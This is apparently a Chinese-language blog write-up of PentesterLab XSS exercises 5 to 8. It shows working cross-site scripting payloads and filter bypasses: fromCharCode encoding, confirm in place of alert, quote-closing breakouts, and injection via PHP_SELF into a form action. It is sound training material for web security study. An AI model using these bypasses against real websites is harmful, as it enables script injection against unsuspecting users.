XSS

PentesterLab-XSS

Posted by Tattoo on 2019-04-29
Estimated Reading Time 1 Minutes
Words 438 In Total
Viewed Times

example5

URL中有name参数,尝试修改它的值

1
改为tattoo

输出hello tattoo

1
改为<script>alert(1)</script>

输出error

1
改为<img src=x onerror=alert(1)>

输出error

1
改为alert

输出error

可知对alert关键字过滤了

方法一:
用js编码方式fromCharCode()绕过

1
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

方法二:
用相似函数代替alert,如prompt、confirm

1
<script>confirm(1)</script>

example6

URL中有name参数,尝试修改它的值

1
改为<script>alert(1)</script>

输出Hello “;

考虑标签闭合问题
查看源代码

构造闭合双引号

1
"</script><script>alert(1)</script>

成功弹框

example7

URL中有name参数,尝试修改它的值

1
改为<script>alert(1)</script>

输出Hello

查看源代码

发现<、>被转义为实体编码
尝试各种XSS代码都无法绕过

查看源码

发现用的是htmlentities()函数对输入的特殊字符进行编码
默认情况下,只对双引号进行编码,不编码单引号
闭合前面的单引号,然后用//注释符注释掉后面自动加上的单引号

1
';alert(1);//

成功弹框

example8

发现输入框
在里面输入任何语句都原原本本的输出,URL也没有参数
对标签<、>进行转义了,各种编码也没有绕过

查看源码

发现表单form的action属性使用了$_SERVER[‘PHP_SELF’]来引用当前网页地址,并且它是系统自动生成的全局变量

尝试修改URL,在后面添加

1
/tattoo


代码被写入到action属性中

可以构造

1
/"><script>alert(1)</script>

成功弹框


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !